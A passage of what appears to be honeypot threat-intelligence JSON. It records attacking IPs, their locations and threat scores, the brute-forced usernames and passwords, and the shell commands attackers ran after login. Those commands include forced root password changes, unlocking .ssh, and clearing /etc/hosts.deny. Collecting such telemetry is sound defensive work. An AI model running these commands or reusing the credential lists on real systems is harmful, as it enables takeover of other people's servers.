        "echo \"root:LG6CFKhw7AyT\"|chpasswd|bash",
        "echo \"root:wzNCFpJa59e2\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Paraguay",
      "country_code": "PY",
      "city": null,
      "asn": 264631,
      "as_org": "RED PARAGUAYA DE TELECOMUNICACIONES SA",
      "threat_score": 33.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T12:04:16.758000+00:00",
        "last_seen_30d": "2026-04-27T13:01:09.479000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 53
      }
    },
    "175.100.24.139": {
      "attack_count": 236,
      "first_seen": "2026-04-27T10:04:07.991Z",
      "last_seen": "2026-04-27T10:26:35.243Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123Qwe456!",
        "Amir1234",
        "Asdf1234.",
        "Changeme1",
        "P@ssw0rd@123456",
        "Qwe2026",
        "Qwerty123",
        "Ubuntu@2025",
        "Wang1234",
        "Welc0me123",
        "andreas1",
        "angga123",
        "b4n4n4",
        "deng2024",
        "login",
        "my@123456",
        "qwe456",
        "qwer12#"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:2FUczbCeF7uQ\"|chpasswd|bash",
        "echo \"root:xD83emEIAh9b\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Cambodia",
      "country_code": "KH",
      "city": "Phnom Penh",
      "asn": 38623,
      "as_org": "ISPIXP IN CAMBODIA WITH THE BEST VERVICE IN THERE.",
      "threat_score": 33.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T10:04:07.991000+00:00",
        "last_seen_30d": "2026-04-27T10:27:36.749000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 53
      }
    },
    "58.69.56.44": {
      "attack_count": 236,
      "first_seen": "2026-04-28T11:47:45.927Z",
      "last_seen": "2026-04-28T12:09:31.313Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "huzq"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "6767",
        "Abc@2025",
        "MMMmmm123",
        "admin77",
        "l0ve2you",
        "ora_root111",
        "oracle2026",
        "ovhovh",
        "pass@Word1",
        "pati00731",
        "rockie",
        "root123",
        "sistem",
        "skater",
        "spiruharet",
        "steam",
        "test111111",
        "wangjialun"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:0aNTh0LIU0p2\"|chpasswd|bash",
        "echo \"root:f9oX5iEXaxR1\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Makati City",
      "asn": 9299,
      "as_org": "Philippine Long Distance Telephone Company",
      "threat_score": 34.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T11:47:45.927000+00:00",
        "last_seen_30d": "2026-04-28T12:10:35.073000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 53
      }
    },
    "198.98.56.227": {
      "attack_count": 219,
      "first_seen": "2026-04-30T10:54:09.992Z",
      "last_seen": "2026-04-30T12:05:18.746Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "user",
        "root",
        "test",
        "345gs5662d34",
        "admin",
        "arkserver",
        "dev",
        "ftp",
        "ftp_user",
        "ftpguest",
        "ftpuser",
        "git",
        "gpadmin",
        "kadmin",
        "mapadmin",
        "oracle",
        "server2",
        "steam",
        "teamspeak"
      ],
      "passwords_attempted": [
        "1111",
        "123",
        "123321",
        "123456789",
        "123Abc!@#",
        "123qwe",
        "1qaz2wsx",
        "3245gs5662d34",
        "345gs5662d34",
        "9999",
        "@abc123",
        "Admin123",
        "Changeme_123",
        "Passw0rd123",
        "a",
        "a123456",
        "admin123",
        "admin147258",
        "changeme",
        "ftpuser"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123Abc!@#\\naINxDPwYkHCq\\naINxDPwYkHCq\\n\"|passwd",
        "echo -e \"123Abc!@#\\naINxDPwYkHCq\\naINxDPwYkHCq\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Staten Island",
      "asn": 53667,
      "as_org": "FranTech Solutions",
      "threat_score": 37.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 296,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T10:54:09.992000+00:00",
        "last_seen_30d": "2026-04-30T12:06:21.459000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 77
      }
    },
    "223.233.87.33": {
      "attack_count": 219,
      "first_seen": "2026-04-30T06:21:33.688Z",
      "last_seen": "2026-04-30T06:51:15.744Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "postgres",
        "test",
        "ubuntu",
        "345gs5662d34",
        "ali",
        "daniel",
        "dev",
        "git",
        "server",
        "steam1",
        "user0"
      ],
      "passwords_attempted": [
        "!qazxsw2",
        "000",
        "123.abc",
        "123456Qq@",
        "123QAZwsx",
        "1q2w3e4r5t",
        "3245gs5662d34",
        "345gs5662d34",
        "AAAaaa666",
        "ABCDEFGH",
        "Android123",
        "Asd1234!@#",
        "Ls123456.",
        "P@ssw0rd",
        "TX@123456",
        "Ubuntu@2026",
        "Um123456",
        "Ww123456",
        "ZF@123456",
        "abc@123!@#"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"oracle\\nNbz7kIRlXbY3\\nNbz7kIRlXbY3\\n\"|passwd",
        "echo -e \"oracle\\nNbz7kIRlXbY3\\nNbz7kIRlXbY3\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 37.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T06:21:33.688000+00:00",
        "last_seen_30d": "2026-04-30T06:52:16.561000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "152.200.181.42": {
      "attack_count": 218,
      "first_seen": "2026-04-12T00:09:31.326Z",
      "last_seen": "2026-04-27T09:03:14.232Z",
      "sessions": 44,
      "ports": [],
      "usernames_attempted": [
        "root",
        "elasticuser",
        "gitlab-runner",
        "postgres",
        "steam"
      ],
      "passwords_attempted": [
        "Cloud123456",
        "Steam10",
        "after",
        "elasticuser",
        "f",
        "postres",
        "qazwsx11111111#",
        "qwerty",
        "zaq12wsx"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:FYl1xK2O4diF\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Mosquera",
      "asn": 3816,
      "as_org": "COLOMBIA TELECOMUNICACIONES S.A. ESP BIC",
      "threat_score": 45.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.4,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 350,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T00:09:31.326000+00:00",
        "last_seen_30d": "2026-04-27T09:04:17.242000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 132
      }
    },
    "171.231.185.168": {
      "attack_count": 212,
      "first_seen": "2026-04-12T19:32:45.034Z",
      "last_seen": "2026-04-12T19:44:40.522Z",
      "sessions": 42,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "cisco",
        "*****",
        "am",
        "backup",
        "carol",
        "db2inst2",
        "demo",
        "developer",
        "ftp",
        "geral",
        "install",
        "jay",
        "madrid",
        "mms",
        "monitor",
        "nagios",
        "nginx",
        "proftpd"
      ],
      "passwords_attempted": [
        "123456",
        "*****",
        "0987654321",
        "1",
        "111111",
        "123",
        "1234",
        "91482d",
        "P@ssw0rd",
        "admin",
        "admin1",
        "administrator",
        "am",
        "carol",
        "cisco",
        "cisco123",
        "db2inst2",
        "demo",
        "geral",
        "install"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 15.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.0,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 313,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T19:32:45.034000+00:00",
        "last_seen_30d": "2026-04-12T19:45:45.070000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 212,
        "Suricata": 101
      }
    },
    "138.255.157.62": {
      "attack_count": 211,
      "first_seen": "2026-04-21T11:26:37.203Z",
      "last_seen": "2026-04-21T11:54:22.244Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "test",
        "bot",
        "claude",
        "ftp-test",
        "game",
        "minecraft",
        "sammy",
        "smbuser",
        "socks",
        "steam",
        "tester1",
        "ubuntu",
        "user"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "1024",
        "123123",
        "123321",
        "1234",
        "123456",
        "123@ZXCV",
        "AAaa123123",
        "Aa123456*",
        "Apple2025",
        "Bot17!",
        "Claude",
        "P@ssw0rd123@",
        "QWE!@#qwe123",
        "Qwerty123123",
        "Root54321.",
        "Steam123!",
        "ZAQ!2wsx2018!!"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:PRA8tKV9u3k9\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Presidente Dutra",
      "asn": 263974,
      "as_org": "VELOX NET MA LTDA",
      "threat_score": 26.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 275,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T11:26:37.203000+00:00",
        "last_seen_30d": "2026-04-21T11:55:26.328000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 211,
        "Suricata": 64
      }
    },
    "103.176.20.115": {
      "attack_count": 199,
      "first_seen": "2026-04-22T13:01:45.439Z",
      "last_seen": "2026-04-22T13:26:12.797Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "proxyuser",
        "345gs5662d34",
        "ali",
        "claude",
        "ftp_test",
        "ftpuser",
        "n8n",
        "nifi",
        "pc",
        "postgres",
        "server",
        "stack",
        "test",
        "test2",
        "testuser",
        "user001",
        "user1"
      ],
      "passwords_attempted": [
        "test123",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "ABcd123456",
        "Admin@storage",
        "Ali19",
        "Claude!",
        "Master2026",
        "Postgres@",
        "QAZ123wsx456",
        "Server10",
        "kk",
        "n8n13",
        "nifi",
        "password",
        "pc123",
        "pf123456",
        "proxyuser",
        "qwe123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"proxyuser\\nXOAfFiRRnRlq\\nXOAfFiRRnRlq\\n\"|passwd",
        "echo -e \"proxyuser\\nXOAfFiRRnRlq\\nXOAfFiRRnRlq\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 131366,
      "as_org": "Lanit Technology and Communication Joint Stock Company",
      "threat_score": 27.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 260,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T13:01:45.439000+00:00",
        "last_seen_30d": "2026-04-22T13:27:16.056000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 199,
        "Suricata": 61
      }
    },
    "103.63.25.214": {
      "attack_count": 199,
      "first_seen": "2026-04-22T15:50:55.804Z",
      "last_seen": "2026-04-22T16:54:22.419Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "oracle",
        "testuser",
        "345gs5662d34",
        "bodega",
        "bot",
        "freelancer",
        "proxyuser",
        "ruth",
        "ryan",
        "sambauser",
        "steam",
        "teamspeak",
        "ubuntu",
        "user1",
        "usuarioftp"
      ],
      "passwords_attempted": [
        "123!@#Aa",
        "123456",
        "123456qaz",
        "12345Qwe",
        "3245gs5662d34",
        "345gs5662d34",
        "888888",
        "A1b2c3d4e5",
        "Abc#2025",
        "Oracle04!",
        "Password123!",
        "Teamspeak6",
        "Vps@12345",
        "Zz123456789",
        "a12345678",
        "botbot",
        "freelancer",
        "oracle15",
        "project123",
        "proxyuser"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"qwertyuiop\\nYuTYBcgR8Ect\\nYuTYBcgR8Ect\\n\"|passwd",
        "echo -e \"qwertyuiop\\nYuTYBcgR8Ect\\nYuTYBcgR8Ect\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 27.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 262,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T15:50:55.804000+00:00",
        "last_seen_30d": "2026-04-22T16:55:24.237000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 199,
        "Suricata": 63
      }
    },
    "156.253.5.146": {
      "attack_count": 194,
      "first_seen": "2026-04-16T23:07:28.424Z",
      "last_seen": "2026-04-16T23:43:16.575Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "appuser",
        "bot",
        "cactiuser",
        "deploy",
        "ftpuser",
        "minecraft",
        "odoo",
        "root1",
        "server",
        "steam"
      ],
      "passwords_attempted": [
        "1234",
        "1234-asd",
        "12345",
        "123456q",
        "228228",
        "3245gs5662d34",
        "345gs5662d34",
        "666666",
        "87654321",
        "8866",
        "Ftpuser18",
        "Mc123456",
        "Odoo04!",
        "QWERTY12",
        "Root321@#",
        "Test31!",
        "ZAQ!2wsx2018!@",
        "a",
        "a1b2c3d4",
        "abcd.1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345\\nLYNEsUFUacgx\\nLYNEsUFUacgx\\n\"|passwd",
        "echo -e \"12345\\nLYNEsUFUacgx\\nLYNEsUFUacgx\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 212552,
      "as_org": "BitCommand LLC",
      "threat_score": 20.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 255,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T23:07:28.424000+00:00",
        "last_seen_30d": "2026-04-16T23:44:17.926000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 61
      }
    },
    "190.119.198.81": {
      "attack_count": 194,
      "first_seen": "2026-04-16T14:09:07.585Z",
      "last_seen": "2026-04-16T14:53:55.491Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "newuser",
        "teste",
        "345gs5662d34",
        "claude",
        "d",
        "ftptest",
        "ftpuser",
        "kevin",
        "n8n",
        "odoo",
        "sammy",
        "user"
      ],
      "passwords_attempted": [
        "1234",
        "10041004",
        "123",
        "123321",
        "12345678",
        "232323",
        "3245gs5662d34",
        "345gs5662d34",
        "Azerty123@",
        "N8n123!",
        "Password123",
        "Qazwsx2020!!",
        "Qazwsx9999..",
        "Root0000.",
        "Root2019@@",
        "Ubuntu8",
        "Welcome@2026",
        "a12345661",
        "aaDD112233",
        "abc1234."
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1234\\noqP8JQBubRxL\\noqP8JQBubRxL\\n\"|passwd",
        "echo -e \"1234\\noqP8JQBubRxL\\noqP8JQBubRxL\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": "Lima",
      "asn": 12252,
      "as_org": "America Movil Peru S.A.C.",
      "threat_score": 19.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T14:09:07.585000+00:00",
        "last_seen_30d": "2026-04-16T14:55:02.433000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 63
      }
    },
    "190.181.27.37": {
      "attack_count": 194,
      "first_seen": "2026-04-16T19:59:03.948Z",
      "last_seen": "2026-04-16T20:42:55.245Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "newuser",
        "345gs5662d34",
        "dev",
        "ftpuser",
        "gabriel",
        "gm",
        "guest",
        "nasrin",
        "postgres",
        "teste",
        "user1",
        "vpn"
      ],
      "passwords_attempted": [
        "123",
        "1234566",
        "1qaz!QAZ1qaz",
        "1qazxdr5!@#",
        "3245gs5662d34",
        "345gs5662d34",
